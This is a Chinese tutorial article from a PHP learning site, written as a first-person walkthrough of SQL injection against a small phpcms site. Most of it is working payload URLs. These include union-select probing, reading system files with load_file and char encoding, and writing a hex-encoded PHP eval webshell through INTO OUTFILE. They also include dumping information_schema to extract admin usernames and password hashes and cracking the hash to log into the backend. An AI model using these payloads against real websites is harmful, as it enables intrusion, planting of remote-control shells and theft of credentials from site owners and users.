来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 作者:left测试环境为win7sp1+iis7.5+mysql5.1,目标为一个小型phpcms网站,存在注入的地址为http://www.2cto.com /show.php?id=2菜菜我第一次写文章一.Root权限下的mysql注入直接在网址后面添加引号ht...
作者:left
测试环境为win7sp1+iis7.5+mysql5.1,目标为一个小型phpcms网站,存在注入的地址为http://www.2cto.com /show.php?id=2
菜菜我第一次写文章……
一. Root权限下的mysql注入 直接在网址后面添加引号http://www.2cto.com /show.php?id=2' 直接爆出为Mysql数据库,使用xor 1=1 xor 1=2确定为整数型注入; 确定mysql版本号,提交http://www.2cto.com /show.php?id=2 and ord(mid(version(),1,1))>51,返回正确,版本大于5.1,支持union查询; 使用order by 确认字段数,15时正确,16时错误,得出字段长度为15; 显示字段位置http://www.2cto.com /show.php?id=2 and 1<1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,显示出3和11位置 现在我们来确认当前用户权限,提交http://www.2cto.com /show.php?id=2 and 1<1 union select 1,2,user(),4,5,6,7,8,9,10,database(),12,13,14,15 是root权限哦,从root@localhost可以看出当前网站和数据库是位于同一台机器上的,当然我们是在自己的电脑上测试的 既然是root权限,而且是整形注入,我们就可以load_file()了,也可以导出webshell了,我们在3,或11的位置显示load_file()内容,http://www.2cto.com /show.php?id=2 and 1<1 union select 1,2,load_file('c:\boot.ini'),4,5,6,7,8,9,10,11,12,13,14,15结果没显示出内容,原因是多种多样的,可能3,11的位置不支持字符,也可能二者位置的长度定义的太短,继续提交http://www.2cto.com /show.php?id=2 and 1=2 union select 1,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15 成功爆出c:\boot.ini内容,其中char(99,58,47,98,111,111,116,46,105,110,105)是c:\boot.ini的ascii编码 我们结合out_file来显示内容,前提是知道当前网站路径,直接访问http://www.2cto.com /data/爆出当前网站路径(php启用了错误提示,否则爆路径就得想办法猜解了) 接着结合outfile生成webshell,提交http://www.2cto.com /show.php?id=2 and 1=2 union select 1,2,0x3C3F706870206576616C28245F504F53545B7A5D293B3F3E,4,5,6,7,8,9,10,11,12,13,14,15 into outfile'F:\\websites\\phpaaCMS-UTF8-0.3.1\\phpaaCMS-UTF8-0.3.1\\1.php'其中0x3C3F706870206576616C28245F504F53545B7A5D293B3F3E是一句话木马的16进制编码,用一句话客户端连接一下 成功 二,非root权限下的注入,利用information_schema系统表 非root权限的用户一般是没有load_file的权限的,因为load_file需要FILE权限,而普通用户一般情况下是没有FILE权限的,这时的注入思路就跟asp下差不多了,但是mysql 5以上的版本有个非常有利的条件就是里面存储了一个系统库information_schema,这个表存储了数据库的系统信息,只要存在注入基本可以确定拿下用户密码,mysql下的表,字段等猜解不再测试,跟asp差不多,现在我们利用information_schema来猜解密码 上文已知,注入地址,及union查询下可显示的字段位置为3,11 http://www.2cto.com /show.php?id=2 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 提交http://www.2cto.com /show.php?id=2 and 1=2 union select 1,2,unhex(hex(group_concat(schema_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.schemata,爆出所有数据库名 判断当前数据库名称为phpaa 接着判断当前数据库下的所有的表名称,提交http://www.2cto.com /show.php?id=2 and 1=2 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x7068706161,爆出当前数据库下所有的表名称,其中0x7068706161是phpaa的hex编码 发现cms_users这个表比较敏感,接着查询这个表下的所有字段名称,提交http://www.2cto.com /show.php?id=2 and 1=2 union select 1,2,unhex(hex(group_concat(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273, 显然字段为用户名和密码字段为username,password,查询之,提交http://www.2cto.com /show.php?id=2 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users 上md5网站解这个md5hash,发现为admin,用这个用户成功登陆后台 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com